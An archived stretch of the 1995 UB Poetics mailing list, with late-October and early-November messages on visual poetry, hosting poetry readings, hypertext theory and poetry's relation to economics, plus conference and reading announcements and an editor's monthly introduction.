3-6 May at the Sheraton Hotel Brisbane. Guest speakers will include Monica Hughes, Gillan Cross, Anthony Browne and many distinguished Australian authors and illustrators. Registration forms will be available from November 1995. For further information contact the Children's Book Council of Australia (Tasmania) PO Box 113 Moonah Tasmania 7009

ASAL 1996 - Brisbane

CALL FOR PAPERS Queensland University of Technology is hosting the 1996 Association for the Study of Australian Literature annual conference, from Saturday July 6 to Thursday July 11. The conference will be held on the Gardens Point Campus, situated between the City Botanic Gardens and the river.

Papers are invited on any aspect of Australian literature. Abstracts of approximately 200 words should be sent to Sharyn Pearce, School of Humanities, QUT, PO Box 284, Zillmere Q 4034, by 16 December 1995. All papers will be of twenty (20) mins duration.

Enquiries to the co-ordinators: Sharyn Pearce: School of Humanities, Faculty of Arts, QUT, PO Box 284, Zillmere Qld 4034. Fax 07 3864 4719. Email [redacted], or Philip Neilsen: School of Media and Journalism, Faculty of Arts, QUT, GPO Box 2434, Brisbane Q 4001. Fax 07 3864 1810. Email [redacted]

THE IRISH CENTRE FOR AUSTRALIAN STUDIES: AUSTRALIAN STUDIES CONFERENCE

The Irish Centre for Australian Studies will be holding an Australian Studies Conference in Dublin from 3-6 July 1996. The three major streams will be history, culture and the environment. For further details contact David Day Professor of Australian History Department of Modern History University College Dublin Ireland.

COMPARING AUSTRALIA: A CONFERENCE.

Call For Papers and Introductory Information. Dates: 30th August-1 September 1996 in Stirling, Scotland. Abstratcts not exceeding 200 words by 30th November 1995. Papers 20 minutes delivery time. Registration forms will be mailed out in January 1996. For further information Contact Angela Smith, British Association for Studies on Australia, Centre of Commonwealth Studies, University of Stirling, Stirling FK9 4LA, UK Fax 01786 451 335 E-Mail: [redacted]

****

While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, The Writers' Centre of South Australia, Tasmanian Writers' Union, AusLit discussion group (internet), FAW WWW LINK (http://www.ozemail.com.au:80/~faw/) and the other individuals and organisations who supplied information about their events directly to AWOL.

↑ Index

651. **Charles Alexander**

Re: Visual Poetry

Mon 30 Oct 1995

> *May Swenson is certainly the best visual poet of the second half of this century--because her poems are also auditory, and because the visual effect is arranged rather than deranged.*
>
> *Tom Kirby-Smith*

To each her or his own. I don't know about "best visual poet," but I think I would choose any of the trio of bpNichol, Karl Young, or Karl Kempton. And this is limiting myself to North America, where in some ways visual poetry is under-represented, or at least under-recognized. But I find the explosiveness and sheer inventiveness of Nichol and Young amazing in their sweep of possibilities. And I find the subtle patterns of Karl Kempton, based on sources which range from patterns of plankton on the shore to Hopi and other tribal weavings, to be rich and deep in a way which moves me more than Swenson's work. Not that there's anything wrong with her work, which is an important body of work.

I also think there are a number of important book artists who should be seen as visual poets in a kind of Blakean tradition; these would include Susan King, Patricia Scobey, Nancy Leavitt, and others.

all best,
charles alexander

↑ Index

652. **Joe Amato**

all---fyi...

Mon 30 Oct 1995

> *X-Sender:* [redacted]
> *Date: Mon, 30 Oct 1995 11:14:38 -0800*
> *Reply-To: "Society for Literature and Science - philos., tech., cyber discussion" <*[redacted]*>*
> *Sender: "Society for Literature and Science - philos., tech., cyber discussion" <*[redacted]*>*

From: "Jay A. Labinger" <[redacted]>
Subject: Re: Electronic Book Review
To: Multiple recipients of list LITSCI-L <[redacted]>

Announcing a new journal on the Internet:

*The *Electronic Book Review,* an on-line journal and working forum promoting literary innovation on the Internet, is soliciting articles for the Winter of 1996.*

*Issue #1, appearing in November 1995, features essays and reviews by Mark Amerika, Linda Brigham, Carolyn Guyer, Paul Harris, N. Katherine Hayles, Michael Joyce, Peter Krapp, Marcos Novak, Joseph Tabbi, and Walter Vannini. Several of these essays will appear simultaneously in print, as a special focus of the *American Book Review*. To facilitate print-screen collaborations, and as a service to writers whose primary domain is print, EBR will regularly share reviews with ABR, roughly two per issue.*

For Issue #2, we are organizing an e-mail essay forum around an original essay by Michael Berube, "Cultural Criticism and the Politics of Selling Out." Essays received by January 10, especially those concerned with the political economy of the Internet, will be considered for inclusion in this forum. Additional features are planned on post-feminist women's writing and the electronic future of poetry and literary fiction.

*For future issues, EBR is soliciting critical writing not only on, but *in* hypertext. We are interested especially in exploring narratives whose logic is*
as much visual as verbal, and we prefer thoughtful overviews, polemics, and review essays to evaluations of single works.

EBR will be stored at and distributed from the Alternative-X web site: http://www.altx.com/ebr

Inquires should be sent to:

Joseph Tabbi
English Department
University of Illinois-Chicago
601 South Morgan Street
Chicago, Illinois 60607-7120
e-mail address: [redacted]

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653. **Jordan Davis**
Re: readings desiderata
Mon 30 Oct 1995

On Sat, 28 Oct 1995, Charles Alexander wrote:

Are you asking these questions because you're about to launch a reading series?

Charles--yes. Thanks for your response (and thanks, Ron). Anybody else have ideas how to hold readings that are a) pleasant b) productive c) surprising? Any successful hosts (don't be bashful!) who would like to share their secrets for inviting readers (and please don't point to the black box, taste!)? Mark Wallace bravely queried members of the list whether they'd be interested in reading... St. Marks has a "two-year rule" (can't have a solo reading two years in a row)... what are the rules elsewhere, such as SPD? Are there people you've wished would read but just never do? Are there people you wish just wouldn't read (did you know that the expression "backchannelling" comes from the noises and movements a listener makes to acknowledge that they've been listening?)? Is a query like this ironically more likely to keep people from discussing a troublesome issue than to provoke change?

Your fan,
Jordan

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654. **Edward Foster**
Re: & Ralph Waldo
Mon 30 Oct 1995

---

no, money/poetry is no trope; there's something much deeper, more insidious here: different poetries are different economies. i don't myself believe that, but the subject underder scutiny, it seems, did.

↑ Index

655. **Chris Stroffolino**
Re: & Ralph Waldo
Mon 30 Oct 1995

Dear Ed--- Could you please elaborate, or support your argument (gosh, i feel like i'm grading a student paper) about "different poetries" being "different economies"---Do you mean "psychic economies" and if so how is that NOT a trope? If you mean the COST of books, or the LABOUR involved in reading a certain poet, is there a way to determine what is the MOST COST-EFFECTIVE poetry? Hmmmm--the kind of poetry that has 5 words per page is

more "taxing" than maximialism? The kind of poetry that works good on a first reading but not as much on subsequent ones is certainly a ripoff? (This is all very vague). If some poetry DEMANDS more from the reader than others (how do you define demand?), is it possible it doesn't DRAIN the reader but actually stirs the reader to an activity s/he wouldn't otherwise. Please, Ed, tell me more--I am quite open to this--- But I also am skeptical about the validity of what seems to me to be a kind of quantification here--It's like sleep. Why is it, for instance, that sometimes I am MORE tired when I have just woken from a 12 hour sleep than i am when I have woken from a 3 hour nap? (I don't expect you to answer that....) Chris S.

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656. **James Sherry**

Re: Evaluation

Mon 30 Oct 1995

I suspect that value judgements "are" as you say a subterfuge, a conspiracy game, designed to establish one's value system as the first system to be consulted in the event of any value judgement. It is implemented is through substitution of first person plural in discussing issues that are only valid in the first person singular. It can also be accomplished, although less effectively with the Royal WE. Shifters as McCaffery points out are the arbiters of value. The language game that is played out here is an attempt to establish a universal context for a particular context. There is a strong psychological component too.

And we can't help it. It is simply a matter of asserting ourselves. I am just astonished how little else there is in our exchanges. When I was first moving in a public poetry world, days were spent, days, listing our pantheons of poets, as we got older we substituted books by poets, then we substituted poems, then contracts, then diseases. These lists are too evaluative. What I wanted to have accomplished is substitution of an analysis for a value judgement, but the psychology of the poet is too fragile in a weak culture to let writers be free of the need to continually have their values reaffirmed.

I don't think there is any way to stop it short of addressing issues and that presents its own problems. Even as I type I'm sure I'm engaged in a form of the same. Let us look like we're doing the rightthing by doing the wrong thing. Let us cut the budget.

James

↑ Index

657. **Aldon L. Nielsen**
Re: oh dodie oh
Tue 31 Oct 1995

---

the one night you read in my weekend neighborhood I'm up the road at Santa Barbara -- just want you to know I woulda been there if I coulda!

↑ Index

658. **Aldon L. Nielsen**
Re: the color of concrete
Tue 31 Oct 1995

---

want to add the names of Russell Atkins and Norman H. Pritchard to the recent lists of visual and concrete poets, which was starting to look like some kinda whitelist or something --Look at Kevin Young's article on Pritchard in the _Harvard Library Bulletin_ 3.2 1992, which volume (on material poetry) also includes an essay of note by Marjorie Perloff.

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659. **Rod Smith**
Hejinian/Palmer @ L.O.C.
Tue 31 Oct 1995

For those in DC environs:

Lyn Hejinian & Michael Palmer will be reading at the Library of Congress Thursday, Nov. 2nd, at 6:45 in the Madison Building, Mumford Room.

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660. **Burt Kimmelman**
Re: Hypertext & Poetry & Tinkertools & Baseball
Tue 31 Oct 1995

Joe Amato,

While I agree with your attempts to define "technology" as both variously instrumentalist and epistemic, I have a problem that arises from such an attempt--which is, that if we broaden "technology" too much then the term becomes watered down and useless. For instance, I am very much taken with my colleague (by the way, he is the editor of the new Eco-Journal TERRA NOVA, which prints poetry and all other manner of beast, and he can be contacted at NJIT, Newark, NJ 07102 or email him at: [redacted]) and his ideas especially as they are expressed in his recent book HAND'S END: TECHNOLOGY AND THE LIMITS OF NATURE, but in the book he argues that language itself is a

technology--whereas, like Ong or Bolter I guess, I would draw the line at writing.

But I know what you mean. . . .

Burt

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661. **Burt Kimmelman**
Orono Conference
Tue 31 Oct 1995

Loss et alia,

All I know about the Orono Conference is that it is on Poetry of the 1950s. The conf dates are 6/19-23/95.

Contact Burton Hatlen
National Poetry Foundation
University of Maine
Orono, ME 04469

From what I hear, the conference will be a real thrill, but what I hear is unoffical for now, so I am hesitating to say more here.

Burt

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662. **Charles Alexander**
Re: Concrete Poetics Dialogue (was Hypertext & Poetry Possibilities)
Tue 31 Oct 1995

> *Charles Alexander:*
> *While I admire the leaps into new worlds of visual possibilities of Jim Rosenberg's work, I don't think it needs to come with a putdown of earlier visual poetry, which, I think, has helped us rather than hindered us.*
>
> *Oh dear. Charles, you misunderstood me *COMPLETELY*. There was no putdown intended against visual poetry -- the exact opposite. What I am speaking against is exactly the lack of interchange. It is from a belief in the *value* such a dialogue would have that I bemoan its absence.*

Yes, I do think I misinterpreted you. Just so we realize there are as many open minds among visual poets as among non-visual poets, hypertext poets, etc. Yes, interchange, dialogue, is at stake.

charles

↑ Index

663. **Edward Foster**
Re: & Ralph Waldo
Tue 31 Oct 1995

perhaps in this direction, chris: that the profit motive encourages value based on perception so that the object (and e.p. had a field day on this one) can become more or less valuable depending on the way it is understand. excuse me: i mean "understood" but this foolish computer does not permit revision. and this replaces the older (and to my mind, more attractive) concern with the essential. in poetry (and the link is real, a move from one economy to another) there is a shift from the noun to the verb, that obsession among so many now, that in american literature emerges so strongly with emerson. olson, disliking emerson, found older roots in heraclitus. the essential in this, as in (to take the extreme) laissez faire economics, is change; the man said, "What does not change / is the will to change," but that really implies an unchanging "i." in fact the only thing that doesn't change is change. (indeed you buy something and get change.) the difference between, say, the poetics of the era of augustus, say, and whitman is linked to different economies. so, too, wallace and ezra. that does not mean that poetry is political, but that there are common roots. there is every reason to argue against althusser, but one could draw on his definition of ideology here--that which cannot be resisted. and that, in the realm of insurance (what value do you give your house/life/job) and wallace's supreme fiction, is essentially (sorry, but that really is the word) alchemical. -ed

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664. **Steve Evans**
Awesome 6some
Tue 31 Oct 1995

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s                                s
o  Saturday                         o
m  11 November 1995                    m
e  Russell Lab                       e
*  5 Young Orchard Street in Providence *
*  2 Sets: 3-5pm, 7-9pm              *
*                                *
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K E V I N D A V I E S

J U D I T H G O L D M A N

L I S A J A R N O T

B I L L L U O M A

D O U G L A S R O T H S C H I L D

J U L I A N A S P A H R

Organized by Jennifer Moxley and Steve Evans

Supported by the Creative Writing Dept @ Brown

For more information, call [redacted]

r i a t n m u
a t s u o o o s

↑ Index

665. Burt Kimmelman
Rod Smith
Tue 31 Oct 1995

Rod,

I need to speak with you backchannel. What's your e-mail address?

Burt Kimmelman
[redacted]

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666. Kenneth Sherwood
RIF/T 05 release
Tue 31 Oct 1995

Poetics Folks: Here is the table of contents for Rif/t 05 which is just out. All contents are accessible via the Electronic Poetry Center at http://writing.upenn.edu/epc/rift/rift05/

Those interested in hypermedia might want to check out the several pieces (by Poetics list members, incidentally) that make use of sound, image, and non-sequential format.

Ken Sherwood

_____

RRRRRRRRRR IIIIIIIII FFFFFFFFFFF // TTTTTTTTTTT RR
RR III FF // TT RR RR III
FF // TT RR RR III FF // TT
RRRRRRRRRR III FFFFF // TT RR RR III
FF // TT RR RR III FF // TT RRRR
RRR IIIIIIIII FFFF // TTTT

AN ELECTRONIC SPACE FOR NEW POETRY, PROSE, AND POETICS
_____ EDITORS:

Kenneth Sherwood and Loss Pequen~o Glazier Version 5.1 ISSN#: 1070-0072 Summer 1995

_____ Responses, submissions, and queries to: [redacted]

_____

R I F / T 5 . 1 _____ TEXTS _____

Jorge Guitart Paul is Dead?
Susana Bathed
Michael Koopman See-Saw
Stan Yankelevich NO THING
Richard Roundy Conjunction
Thomas Bell Pilgrim
Adrift in Post-traumatic Space (2)
Jeffrey Little of quisp & more
subjunctives
Duane Locke Nietzsche Wrote That Truth Approaches
On the Legs of a Dove
Things are More Complicated Than This
John Geraets Mankin
Foundation Logic
"how much depends"
Ira Lightman Manifesto
"The truth of the process"
Thomas Lowe Taylor Favor
Daily Log 5.20.95
Daily Log 5.28.95

TRANSLATION
Ana Mari'a Iza
Ali'cia Cabiedes-Fink and Ted Maier (translators)
Bricks of the Universe / Ladrillos del universo
Cottage Loaf / Hogaza
Tongolele

_____

CHAPBOOK EXTENSIONS

Covenant and Plain/Text by David Dowker

from _Splintered_ by Peter Ganick

Electronic Projection Poetries by Loss Pequen~o Glazier

rain rain, rain by Mike Higgins

Poems from a series in progress by Hank Lazer

Loose Antennae by Sheila E. Murphy

"Untilted" and "Georgia O'Keefe Talks with Karl Marx Over
Cappuchino at a Point Equidistant from Sante Fe and
Manchester (New Hampshire)" by Tenney Nathanson

Hard [HRt] Return by Kenneth Sherwood

Infinit(iv)e by Juliana Spahr, Lori Lubeski, and Jen Hofer

_____ RIF/T REVIEWS

Kenneth Goldsmith reviews _John Cage: Composed in America_, eds Marjorie Perloff and Charles Junkerman.

"Brief, Sketchy Report on the Blaser Conference," by Kevin Killian

Loss Pequen~o Glazier reviews _Poetry in Motion_.

_____ Announcing an EPC HYPERTEXT

__E__: A Poem in HTML by Loss Pequen~o Glazier

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667. **Kit Robinson**
Robert Grenier
Tue 31 Oct 1995

Reply to: Robert Grenier
The Minna St. Poetry & Performance Series will host
a reading/slide presentation by

Robert Grenier

Monday, November 6, at 8pm
at NewLangtonArts
1246 Folsom St.
San Francisco

↑ Index

668. **Jordan Davis**
Signature file goin out to the unix crowd
Tue 31 Oct 1995

Thought this might be of some interest... (mainly the ascii) Jordan

Da-BRotha

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   ("`-''-/").___..--''"`-._
    `6_ 6  )   `-.  (     ).`-.__.`)   POWER TO THE PEOPLE!
    (_Y_.)'  ._   )  `._ `. ``-..-'
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http://www.wam.umd.edu/~street/Welcome.html

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669. **Steve Carll**

Re: readings desiderata

Tue 31 Oct 1995

Jordan:

I personally like readings which break out of the "reader-break-reader" format. A few years back I saw John McNally and Darin DeStefano read at Small Press Traffic, and they both went up to the front and traded poems back and forth for an hour or so, ending with a two-voice reading of Kenward Elmslie's "Girl Machine." It was brilliant. Recently I read with Anselm Berrigan and John M., and we each read solo for ten minutes apiece, then read together for a half-hour. Another format I've used is to alternate readers with musical acts. Clark Coolidge and David and Tina Meltzer did us one better, though, by combining these approaches. David and Clark would each read, then they'd break out the drums and guitar and back Tina, then one would solo over the other reading, then they'd trade poems to and fro. That was really lively.

Not that the "regular" way isn't fine, but to vary that routine reinvests it with an energy that sometimes flags if things get too "samey."

One of the tricks to booking a series (although this may depend on the series) that might not be too obvious is not to overbook. If you leave some space in your schedule then you'll have a night for (your favorite poet's name here) to read when she tells you, "Hey, I'll be in town in 6 weeks. Anything going on?" Although you want to balance this with the desire not to always be finalizing dates at the last possible minute, which makes getting the word out to your audience more difficult.

Steve

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670. Sheila E. Murphy
Re: readings desiderata
Tue 31 Oct 1995

Jordan, On the matter of the readings issue, Bev Carver and I have been doing a series at the Scottsdale Center for the Arts for about nine years. One novelty item that we include every few months (we put on monthly programs each year from about September until May) is to select a particular visual arts exhibition that's on display. We select from that show several pieces that we invite specific people to respond to (NOT INTERPRET!) with a new text. On the night of performance, the audience is guided from piece to piece (sculpture, painting, etc.), at which we make a stop. The education director from the center staff shares some information about the visual artist, the work; we then introduce the writer, who reads the new piece. The audience benefits from having at least two senses working at once. This format tends to offer very stimulating possibilities and is consistently popular.

Sheila Murphy

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671. Beth Russell
the Hypertextual possibilities
Tue 31 Oct 1995

I must say that in reading George P. Landow's _Hypertext: The Convergence of Contemporary Critical Theory and Technology_ (Johns Hopkins UP) I've found it fascinating on one level, and quite redundant (and not in a negative sense of the word, no offense to George or friends of George) on another level. The fascinating things about this text are:

1) the implications of hypertextual linkin' 'n thinkin' in terms of say _power_ structures (he does begin his print culture text with a quote from Foucault), the availability and the production of hieratic (interesting sections on hieroglyphs) and hierarchical modificatiions,

2) the seeming _break_ within the linearity of the "text" (as we used to term it) that hypertext (now, hypermedia) produces or enables--in terms of some cultural conceptions of what constitutes an "author",

3) Landow's ideas of the convergence of say, Derridean notions of inter-weaving/excesses (within writing) with _contemporary_ hypertextual/media constructions...Landow believes that the hyper-world has enabled the previous structuralist and post-structralist discourses to become better understood (whereas before, these theories were somehow arcane systems of mystified knowledge)...the hyper-world, that is, via modes of Web linkages, non-linear

directories, etc. seems to explain or elucidate these po/struct. theories _naturally_...(on a monitor of course).

Landow quotes Walter J. Ong (_Orality and Literacy_) and I feel this directly relates to the issues of power, who _owns_ a text, who _knows_ a text, and of course, the possibility of _challenging_ the text:

"The author might be challenged if only he/she could be reached, but the author cannot be reached in any book. There is no way directly to refute a text. After absolutely total and devestating refutation, it says exactly the same thing as before. This is one reason why 'the book says'is popularly tantamount to 'it is true'. It is also one reason why books have been burnt. A text stating what the whole world knows is false will state falsehood forever, so longas the text exists."

What does this mean for hypertext, virtual networks, the WWW, and more to come...etc etc.?

Perhaps, the redundant aspectd of this body of lexia _Hypertext_, seem to be the under-development of certain concepts, yet in the converse, certain ideas are brought about repetitively. The notion of "non-linearity" and the multiplicity of authorship, for examples, (regarding hypertextual models) are repeated throughout the work, in almost every chapter. When one reads these concepts over and over, it appears to be an ironic commentary on the nature of computer replication itself (or print culture textual reproduction), as well as a Barthes-ian idea of reproducion or inscription. For Landow praises Barthes' _S/Z_ for Barthes' pre-cyber understandings of "linking", "nodes", "networks", "webs" and "paths":

Landow cites from _S/Z_, "In this ideal text, the networks [reseaux] are many and interact, witout any one of them being able to surpass the rest; thistext is a galaxy of signifiers, not a structure of signifieds; it has no beginning; it is reversible; we gain access to it by several entrances, none of which can be authoritatively declared to be the main one; the codes it mobilizes extend _as far as the eye can reach_, they are indeterminable...;the systems of meaning can never take over this absolutely plural text, but their number is never closed, based as it is on the infinty of language".

Again, like the Internet? Or hypertextual mediums? Although Landow repeats, he may just be attempting to _come at the text_ through several different angles or entranceways--thus, modeling his text on that of the hypertext as well as Barthes' _S/Z_, I'm not entirely sure. This dilemma might rest within an argument of form vs. function.

And I agree that there are differences between traditional _text_ and hypertext and Landow does talk a bit about the Hypercard program "by opening the text-

processing program [Hypercard], or editor, as it is known, you can take notes, or you can write against my interpretations, against my text. Although you cannot change my text, you can read the readerly text in two ways not possible with a book.." In a sense, the "discussion list" (computerized) is just such an example of _reading against the text_...the idea that Landow is attmpting to put on the virtual table.

c'est tout

Beth Russell

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672. Laura Moriarity via
Re: poetry readings
Tue 31 Oct 1995

---------- Forwarded message ----------
Date: Tue, 31 Oct 1995 14:17:45 -0800 (PST)
From: LAURA MORIARTY <[redacted]>

Hi Jordan.

Here at the Poetry Center at SF State the rule is once every five years unless someone wins our book award (a reading is part of the award.) One thing I've noticed after helping to run this series forever is that it can be useful to have a short exchange between the writers after the reading. If you combine scenes, as Ron suggested, this can help to make a bridge. We call it a conversation, they more or less interview each other. A recent one between MichaelPalmer and Norma Cole produced the question to Michael from Norma: people most often ask me about you - when did you stop dancing? Of course such an exchange could degenerate into a fight, but then that would be great. As a final thing, a sound system can be good, many readings in cafes and bars are just barely audible.

Laura Moriarty
[redacted]

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

November 1995

517 messages · Wed 1 Nov 1995 – Thu 30 Nov 1995

November's news is uniformly grim — a writer hanged in Nigeria, a prime minister buried in Jerusalem, the United States government padlocked over an unpassed budget — and the list, as if for shelter, turns inward to the one quarrel it is actually equipped to adjudicate: what poetry is doing, or failing to do, inside the university.

The thread 'Condition of Poetry in the Academy' runs the length of the month. Marjorie Perloff, briskly hopeful, reports of the undergraduates that *“all they need is a little exposure”* — they love poetry, she means, until a graduate seminar teaches them otherwise. Maria Damon, the month's most prolific voice, presses the harder case, relaying the older faculty who deride theory and its engagements even as their students drift toward them.

The argument keeps discovering new partitions to dispute. Wystan Curnow, eyeing a bookshop's wall between POETRY and FICTION AND LITERATURE, asks *“How significant is this division?”* — and the list, which loves nothing so much as a taxonomy to quarrel with, sets to. Jeffrey Timmons registers a surprise that several hurry to second: his dismay at hearing careful scholarship *“written off as hating literature.”*

Once, though, the world declines to stay off-list. When Ken Saro-Wiwa is hanged on the tenth, Ric Caddel supplies the sober particulars — *“an environmental campaigner on behalf of the Ogoni tribe,”* executed with eight others for protesting Shell's despoiling of their land — and for a handful of messages the debate about poetry's uses yields to a plainer reckoning of its costs, and its helplessness.

The academy quarrel is, naturally, left unresolved; it is the list's oldest and most renewable resource, and it will spill unfinished into December. I have set the month's letters in their order, drawn the black bars across every address and telephone, and left the great question open exactly where the listers left it — whether poetry belongs to the university at all, or is merely, for the present, boarding there.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 517 in all.

WRITERS

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1. **Chris Stroffolino**

Re: dunno but

Wed 1 Nov 1995

Tenney--I wasn't actually saying that it was a BAD or DECADENT or IRRSPONSIBLE thing that "the sort of conjecture [you] brought up is akin to the solipsism of a purely aestheticizing discourse" only that in recognizing the similarities between so-called "aesthetic" and so-called "responsibly social" poetries is itself an interesting conjuncture (oops, I said conjecture above--I meant conjuncture)--and an important one if the "personal (and the impersonal for that matter) is the political"-- Because, for instance, perelman foregrounds money and the culture industry so much, it's hard to resist the temptation to see that as but his OSTENSIBLE subject--just as when a blues song ostensibly about a woman mistreating almost DEMANDS to be read as ALSO (if not "REALLY") about the injustice a black (and, in some instances, lower-class white) man is victim of in American society. Perhaps this is because I've "been trained" (though not by my institutional teachers per se) to look for "hidden meanings" too much. But doesn't the poetics of "FACE VALUE" assume that? ED (Foster)-- I am not entirely sure I understand you, but it seems you prefer an economy of "essentialism" to an more "relativistic" or at least "perspectival" economy that you claim dominates poetics today as it dominates "late capitalism." Yet you seem to link "essentialism" to "laissez faire economics"(?!?) and eventually "alchemy". How does THE ESSENTIAL justify LAISSEZ-FAIRE economics? I know it has been USED this way ideologically in the past--but if you are claiming to prefer such a poetical mode, and contradting it with the arbitrariness of value in late capitalism, doesn't your distinction ultimately collapse on itself (insofar as both "economies" ultimately support exploitive economic relations)? Then you claim that THE MOVE FROM NOUN TO VERB (which you recognize as a historical shift of emphasis; which I may not want to claim but that's partially because my idea of "history" when it comes to poetry is probably more emersonian than poundian; more steinian than olsonian) is somehow analogous to the move from ESSENTIAL economies to more arbitrary ones. But, as I wrote in a poem once, "VERB IS A NOUN" and even though Stein, for instance, distrusted NAMES and to a lesser extent NOUNS, boy did she USE them (though was also USED by them, and in the process USE became a trope and information-bearing language co-exists with more "musical" elements---though I think it's an open question which ULTIMATELY gets the "upper hand" in both Stein as well as Shakespeare). As for "alchemy"---Again, I appeal to THE MERCHANT OF VENICE-- an absolutely intriguing play for anyone interested in the "intersection" of poetry and money--and though there's way too many issues there to get into here, let me consider the

CHOICE OF THE LEAD CASKET over gold, etc. When rejecting the Lead casket Bassanio calls Gold "HARD FOOD FOR MIDAS" and in such is recognizing (at least verbally, though of course his ACTIONS in the play contradict, or fail to live up to this insight-- which may ironically comment on the "insight" as well) one of the problems with Alchemy. It seems to me that many poets are very interested in the same thing Shakespeare is here: the idea that even if you "choose lead," that which threatens most, like Dickinson choosing Death because (in part) the name of God has been debased, like Blake's marriage of heaven and hell, like Stein's and Riding's and Loy's projects of de-alie- nating "beauty" from the "irritating" (and even in the contemporary climate say harryman's attempt to "distribute narrative rather than deny it"), the problem is that this "lead" can always turn back into "gold" that one rejected. Whether the significance of this can be as effective on a "vulgar political" plane as well is something I must save for another time. At present I see a certain incommensurability that perhaps could be called "the contradictions of capitalism"--- Later, chris

↑ Index

2. Joe Amato

Re: the Hypertextual possibilities

Wed 1 Nov 1995

---

beth, intriguing notes on landow!... i esp. liked your sense of repetition in his text as "an ironic commentary on the nature of computer replication itself "...

you might wanna check out the more recent collection of essays he edited, _hyper/text/theory_ (johns hopkins, 1994)... perhaps the most thorny *theoretical* critique of ht offered in this latter volume is martin e. rosenberg's "physics and hypertext: liberation and complicity in art and pedagogy"... this argument is taken up within the volume in stuart moulthrop's piece, "rhizome and resistance: hypertext and the dreams of a new culture"... but all the essays are worth having a look at...

and while i'm at it, i simply must mention michael joyce's _of two minds: hypertext pedagogy and poetics_ (u of michigan, 1995), perhaps the most elegant treatment to date of many of these issues...

all best//

joe

↑ Index

3. Loss Glazier

"Net Work"/Langton/S.F.

Wed 1 Nov 1995

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I PARTICIPATED IN THIS READING AND TALK, along with Steven Shaviro, as part of Small Press Traffic's "Small Press Partners Series." The series is a great idea, promoting the work of small presses by sponsoring readings of persons involved with the presses in different venues in the Bay Area. Future events in the series will include Chax, Hard Press/House of Outside, Kelsey Street, O Books, and Talisman House. I think it quite visionary that the organizers, Dodie Bellamy specifically, thought of the electronic press as a "bona fide" small press and thus included us.

A geographic digression: Let the rest of this nation be envious yet once again, the weather was unbelievable, with delicate sun and clear blue skies. The swimming pool at the hotel was still swimmable and I was whisked to the evening reading by my friend Robert Anbian, dashing through streets south of Market in a Fiat convertible. All he could say, short of bragging about the weather was to snicker, "I hope your hair isn't getting mussed."

At the reading, the New Langton Arts space (downstairs gallery) was really terrific. Good lighting, a great sized room with seating (do you call this "bleacher" seating when the seats are on successively higher steps?) on two sides. The turnout didn't surpass, say the average Rolling Stones concert, but the people who came were terrific. The way the reading was arranged allowed

for a lot of dialog between the presenter and the attendees. It was quite remarkable how the audience was so attentive, incredibly so, during the reading and then--was it the space or more a fact of this reading culture?--that afterwards the gathering opened into conversation as natural as if in someone's living room.

Kevin Killian (who hosted the event for Dodie. She was fulfilling a residency in Milwaukee on this date) was a consummately gracious and charming host. More than simply introducing the readers (which he did with great style and warmth), his presence and interest truly contributed to the ambiance of the evening.

I read my piece-in-progress "Jumping to Occlusions," a call for electronic space to be seen not only as a mode of poetic production but (thinking, for example, of the way the xerox influenced the making of poetic texts a generation earlier) AS A POETICS IN ITSELF. I discussed the EPC, hypertext poetry, partly in the context of my online poem, __E__ (http://writing.upenn.edu/epc/authors/glazier), and read from the recently issued _The Parts_ (Meow Press, 1995--published by Joel Kuszai in Buffalo).

Steven Shaviro discussed, then read from his online novel "Doom Patrols" (http://dhalgren.english.washington.edu/~steve/doom.html) a novel or writing constantly weaving through fictions and the discourses of postmodernism. Very interesting is the fact that Shaviro, who has had a couple of significant book publications from major publishers (_Passion and Excess_ and _The Cinematic Body_) decided to issue his latest work for free on the Net, declining the academic accolades that come from major press issuance of a work. I got the sense that one of the principle reasons for this was speed of publication.

The question and answer period--or maybe better put--"after-reading conversation" was extraordinary. People still sat as a group in the gallery space and questions branched out from the technical to the speculative. What was the place of this "new" writing? How is Net discourse a different discourse? (One woman made a strong point of having encountered much more abusive casual conversation in her Net experiences.) And how do people *read* here? (One man mentioned that research had shown--for people are already doing marketing and system analysis research on how consumers "read" on the Net) that it has been determined that information should be located no deeper than four screen in, otherwise people will give up the search.--And I took this to mean, unless he also said this, that texts should only fill one screen--you know, as opposed to those screens that scroll forever downward.) And there were others--especially younger attendees--that worried about the future of reading and its cultures in the electronic environment.

Of course the only answer to this last question is to READ the work-- rather than simply be absorbed into the hypnosis of its flickering light--which was why we'd gathered. ~It must be read as work,~ was my argument.

The discussion period went on for some time. It was especially useful to get so many different perspectives. My strongest feeling--something perhaps we don't have on this list--was that people had radically different Net experiences (Usenet groups, commercial providers, the Sausalito stuff--maybe in the absence of an apparent "center" for West Coast electronic writing??), as if each person inhabited totally different *extremes* of the Net, with little overlap.

For the moment, however, I would be content to get back in the convertible. After all, it was Saturday, and North Beach was not far off, with its temperate and delicious night air. Enough of the Net, I thought, for one evening. Time for some deep fried lemon calamari, and pile the plate
high... .....

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4. Judy Roitman
Re: the Hypertextual possibilities
Wed 1 Nov 1995

> *And I agree that there are differences between traditional _text_ and hypertext and Landow does talk a bit about the Hypercard program "by opening the text-processing program [Hypercard], or editor, as it is known, you can take notes, or you can write against my interpretations, against my text. Although you cannot change my text, you can read the readerly text in two ways not possible with a book.."*
>
> *Beth Russell*

You can annotate books as you read, and even go back and argue with your own previous comments -- Fermat's last theorem is perhaps the most famous annotation by a reader ("I do not have the space to put the proof in the margin...")

Nothing against hypertext. But books can do some of that stuff too.

↑ Index

5. Edward Foster
Re: dunno but
Wed 1 Nov 1995

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chris: my claim is that there is always something essential; it may be change as such or a particuilar kind of change (alchemy). as for preference, it's true that i'm very interested in that which remains constant in a given system, whether a

poem, mathematics, or what have you. it's that one often finds the flaw (or, in much contemporary poetics, bad faith) as opposed to simple inadequacy. my sense that certain poetics and capitalism are linked comes from a suggestion in mallarme. alchemy in this case means simply that the result is more than the sum of its parts, which can be as true of money in certain circumstances as it is in (to choose examples at random) of montage or collage. -- once again, i have to apologize: this ridiculous computer (we're very primitive here) doesn't allow revision, so i can't go back and slip a "there" between the "it's" and the "that" in the fourth. the computer, operating on more conservative princciples, knows nothing of alchemy, only simple inadequacy. likewise, i can't remove the "of" in the 10th line or correct "princciples."

↑ Index

6. Edward Foster

Re: dunno but

Wed 1 Nov 1995

